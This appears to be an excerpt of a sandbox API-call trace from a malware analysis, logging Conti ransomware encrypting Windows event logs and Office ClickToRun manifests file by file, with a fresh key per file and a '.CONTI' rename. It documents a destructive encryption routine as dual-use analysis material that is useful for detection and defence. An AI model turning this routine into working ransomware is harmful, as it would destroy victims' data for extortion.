	[0096.479] CryptExportKey (in: hKey=0x17c7e70, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d9684, pdwDataLen=0x50ff91c | out: pbData=0x17d9684*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0096.480] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20
	[0096.480] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0096.480] GetLastError () returned 0x0
	[0096.480] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=69632) returned 1
	[0096.480] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.480] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.480] SetEndOfFile (hFile=0x324) returned 1
	[0096.481] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.481] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.481] WriteFile (in: hFile=0x324, lpBuffer=0x17d9684*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17d9684*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0096.482] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.482] ReadFile (in: hFile=0x324, lpBuffer=0xee90000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x11000, lpOverlapped=0x0) returned 1
	[0096.483] CryptEncrypt (in: hKey=0x17c7e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x11000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x11010) returned 1
	[0096.483] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.483] WriteFile (in: hFile=0x324, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x11010, lpOverlapped=0x0) returned 1
	[0096.484] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.484] WriteFile (in: hFile=0x324, lpBuffer=0x17d9678*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17d9678*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0096.484] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.484] CloseHandle (hObject=0x324) returned 1
	[0096.486] GetProcessHeap () returned 0x1720000
	[0096.486] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.486] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx"
	[0096.486] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.CONTI"
	[0096.486] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.conti")) returned 1
	[0096.486] GetProcessHeap () returned 0x1720000
	[0096.486] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.486] CryptDestroyKey (hKey=0x17c7e70) returned 1
	[0096.486] GetProcessHeap () returned 0x1720000
	[0096.487] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3a00 | out: hHeap=0x1720000) returned 1
	[0096.487] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0096.487] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d81f8 | out: phKey=0x17d81f8*=0x17c7e70) returned 1
	[0096.487] CryptExportKey (in: hKey=0x17c7e70, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d81fc, pdwDataLen=0x50ff91c | out: pbData=0x17d81fc*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0096.488] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx")) returned 0x20
	[0096.488] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0096.488] GetLastError () returned 0x0
	[0096.488] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=69632) returned 1
	[0096.489] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.489] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.489] SetEndOfFile (hFile=0x324) returned 1
	[0096.489] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.489] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.489] WriteFile (in: hFile=0x324, lpBuffer=0x17d81fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17d81fc*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0096.490] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.490] ReadFile (in: hFile=0x324, lpBuffer=0xee90000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x11000, lpOverlapped=0x0) returned 1
	[0097.439] CryptEncrypt (in: hKey=0x17c7e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x11000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x11010) returned 1
	[0097.439] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.439] WriteFile (in: hFile=0x324, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x11010, lpOverlapped=0x0) returned 1
	[0097.439] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.439] WriteFile (in: hFile=0x324, lpBuffer=0x17d81f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17d81f0*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0097.439] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.439] CloseHandle (hObject=0x324) returned 1
	[0097.445] GetProcessHeap () returned 0x1720000
	[0097.446] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0097.446] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx"
	[0097.446] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.CONTI"
	[0097.446] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-liveid%4operational.evtx.conti")) returned 1
	[0097.446] GetProcessHeap () returned 0x1720000
	[0097.446] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.446] CryptDestroyKey (hKey=0x17c7e70) returned 1
	[0097.446] GetProcessHeap () returned 0x1720000
	[0097.446] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740ce0 | out: hHeap=0x1720000) returned 1
	[0097.446] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0099.126] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17e76c8 | out: phKey=0x17e76c8*=0x17c8270) returned 1
	[0099.126] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e76cc, pdwDataLen=0x50ff91c | out: pbData=0x17e76cc*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0099.158] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml")) returned 0x20
	[0099.159] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0099.159] GetLastError () returned 0x0
	[0099.159] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=22095) returned 1
	[0099.159] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x564f
	[0099.159] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.159] SetEndOfFile (hFile=0x39c) returned 1
	[0101.774] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0101.774] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.774] WriteFile (in: hFile=0x39c, lpBuffer=0x17e76cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17e76cc*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0102.626] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.626] ReadFile (in: hFile=0x39c, lpBuffer=0xee90000, nNumberOfBytesToRead=0x564f, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x564f, lpOverlapped=0x0) returned 1
	[0102.627] CryptEncrypt (in: hKey=0x17c8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x564f, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x5650) returned 1
	[0102.627] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.627] WriteFile (in: hFile=0x39c, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x5650, lpOverlapped=0x0) returned 1
	[0102.627] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.627] WriteFile (in: hFile=0x39c, lpBuffer=0x17e76c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17e76c0*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0102.627] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.628] CloseHandle (hObject=0x39c) returned 1
	[0103.372] GetProcessHeap () returned 0x1720000
	[0103.372] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.373] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml"
	[0103.373] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml.CONTI"
	[0103.373] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml.conti")) returned 1
	[0103.614] GetProcessHeap () returned 0x1720000
	[0103.614] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.614] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0103.614] GetProcessHeap () returned 0x1720000
	[0103.615] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfeb8 | out: hHeap=0x1720000) returned 1
	[0103.615] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0103.615] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17c4108 | out: phKey=0x17c4108*=0x17c85b0) returned 1
	[0103.615] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c410c, pdwDataLen=0x50ff91c | out: pbData=0x17c410c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0103.615] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml")) returned 0x20
	[0103.629] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0103.639] GetLastError () returned 0x0
	[0103.639] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=97084) returned 1
	[0103.639] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x17b3c
	[0103.639] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.639] SetEndOfFile (hFile=0x37c) returned 1
	[0103.644] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.645] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.645] WriteFile (in: hFile=0x37c, lpBuffer=0x17c410c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17c410c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0103.654] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.654] ReadFile (in: hFile=0x37c, lpBuffer=0xee90000, nNumberOfBytesToRead=0x17b3c, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x17b3c, lpOverlapped=0x0) returned 1
	[0103.659] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x17b3c, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x17b40) returned 1
	[0103.660] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.660] WriteFile (in: hFile=0x37c, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x17b40, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x17b40, lpOverlapped=0x0) returned 1
	[0103.660] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.660] WriteFile (in: hFile=0x37c, lpBuffer=0x17c4100*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17c4100*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0103.660] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.660] CloseHandle (hObject=0x37c) returned 1
	[0103.660] GetProcessHeap () returned 0x1720000
	[0103.660] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.660] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml"
	[0103.660] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.CONTI"
	[0103.660] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml.conti")) returned 1
	[0103.661] GetProcessHeap () returned 0x1720000
	[0103.661] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.661] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0103.661] GetProcessHeap () returned 0x1720000
	[0103.661] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d18e0 | out: hHeap=0x1720000) returned 1
	[0103.661] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0103.661] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17c47e0 | out: phKey=0x17c47e0*=0x17c85b0) returned 1
	[0103.661] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c47e4, pdwDataLen=0x50ff91c | out: pbData=0x17c47e4*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0103.662] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml")) returned 0x20
	[0103.664] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlookmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0103.664] GetLastError () returned 0x0
	[0103.664] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=96644) returned 1
	[0103.664] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x17984
	[0103.664] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.664] SetEndOfFile (hFile=0x37c) returned 1
	[0103.665] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.665] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
